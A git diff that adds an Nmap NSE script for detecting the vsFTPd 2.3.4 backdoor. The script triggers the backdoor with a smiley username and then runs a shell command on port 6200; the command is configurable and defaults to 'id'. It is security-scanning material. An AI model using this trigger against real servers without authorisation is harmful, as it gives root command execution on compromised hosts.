diff --git a/CHANGELOG b/CHANGELOG index b08cb0e44..456bea487 100644 --- a/CHANGELOG +++ b/CHANGELOG @@ -1,5 +1,8 @@ # Nmap Changelog ($Id$); -*-text-*- +o [NSE] Added ftp-vsftpd-backdoor, which detects a backdoor that was introduced + into vsftpd-2.3.4 source code distributions. [Daniel Miller] + Nmap 5.59BETA1 [2011-06-30] o [NSE] Added 40 scripts, bringing the total to 217! You can learn diff --git a/scripts/ftp-vsftpd-backdoor.nse b/scripts/ftp-vsftpd-backdoor.nse new file mode 100644 index 000000000..f07431d9c --- /dev/null +++ b/scripts/ftp-vsftpd-backdoor.nse @@ -0,0 +1,128 @@ +-- -*- mode: lua -*- +-- vim: set filetype=lua : + +description = [[ +Tests for the presence of the vsFTPd 2.3.4 backdoor reported on 2011-07-04. This +script attempts to exploit the backdoor using the innocuous id +command by default, but that can be changed with the +ftp-vsftpd-backdoor.cmd script argument. + +References: + * http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html + * https://dev.metasploit.com/redmine/projects/framework/repository/revisions/13093 +]] + +--- +-- @usage +-- nmap --script ftp-vsftpd-backdoor -p 21 +-- +-- @args ftp-vsftpd-backdoor.cmd Command to execute in shell (default is +-- id). +-- +-- @output +-- PORT STATE SERVICE +-- 21/tcp open ftp +-- | ftp-vsftpd-backdoor: +-- | This installation has been backdoored. +-- | Command: id +-- | Results: uid=0(root) gid=0(wheel) groups=0(wheel) +-- |_ + +author = "Daniel Miller" +license = "Same as Nmap--See http://nmap.org/book/man-legal.html" +categories = {"discovery", "intrusive"} + +require("ftp") +require("shortport") +require("stdnse") + +local CMD_FTP = "USER X:)\r\nPASS X\r\n" +local CMD_SHELL = "id" + +portrule = function (host, port) + -- Check if version detection knows what FTP server this is. + if port.version.product ~= nil and port.version.product ~= "vsftpd" then + return false + end + + -- Check if version detection knows what version of FTP server this is. + if port.version.version ~= nil and port.version.version ~= "2.3.4" then + return false + end + + return shortport.port_or_service(21, "ftp")(host, port) +end + +action = function(host, port) + local cmd, err, resp, results, sock, status + + -- Get script arguments. + cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") + if not cmd then + cmd = CMD_SHELL + end + + -- Create socket. + sock = nmap.new_socket("tcp") + sock:set_timeout(5000) + status, err = sock:connect(host, port, "tcp") + if not status then + stdnse.print_debug(1, "Can't connect: %s", err) + sock:close() + return + end + + -- Read banner. + buffer = stdnse.make_buffer(sock, "\r?\n") + local code, message = ftp.read_reply(buffer) + if not code then + stdnse.print_debug(1, "Can't read banner: %s", message) + sock:close() + return + end + + -- Send command to escalate privilege. + status, err = sock:send(CMD_FTP .. "\r\n") + if not status then + stdnse.print_debug(1, "Failed to send privilege escalation command: %s", err) + sock:close() + return + end + + -- Check if escalation worked. + stdnse.sleep(1) + sock:close() + sock = nmap.new_socket("tcp") + sock:set_timeout(5000) + status, err = sock:connect(host, 6200, "tcp") + if not status then + stdnse.print_debug(1, "Can't connect, not vulnerable: %s", err) + sock:close() + return + end + + -- Send command(s) to shell. + status, err = sock:send(cmd .. ";\r\n") + if not status then + stdnse.print_debug(1, "Failed to send shell command(s): %s", err) + sock:close() + return + end + + -- Check for an error from command. + status, resp = sock:receive() + if not status then + stdnse.print_debug(1, "Can't read command response: %s", resp) + sock:close() + return + end + + -- Summarize the results. + results = { + "This installation has been backdoored.", + "Command: " .. CMD_SHELL, + "Results: " .. resp + } + + return stdnse.format_output(true, results) +end